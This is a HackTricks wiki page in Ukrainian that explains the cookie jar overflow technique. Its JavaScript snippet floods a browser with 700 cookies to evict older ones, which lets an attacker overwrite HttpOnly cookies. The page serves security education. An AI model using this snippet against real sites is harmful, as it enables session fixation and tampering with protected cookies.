Cookie Jar Overflow

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Браузери мають обмеження на кількість кукісів, які вони можуть зберігати для сторінки. Тому, якщо з якої-небудь причини вам потрібно зробити кукуіс невидимим, ви можете переповнити банку кукісів, оскільки найдавніші будуть видалені перш ніж:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Зверніть увагу, що сторонні файли cookie, які вказують на інший домен, не будуть перезаписані.

Цей тип атаки також може бути використаний для перезапису файлів cookie з параметром HttpOnly, оскільки ви можете його видалити, а потім встановити знову з бажаною вами значенням.

Перевірте це в цьому пості з лабораторією.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated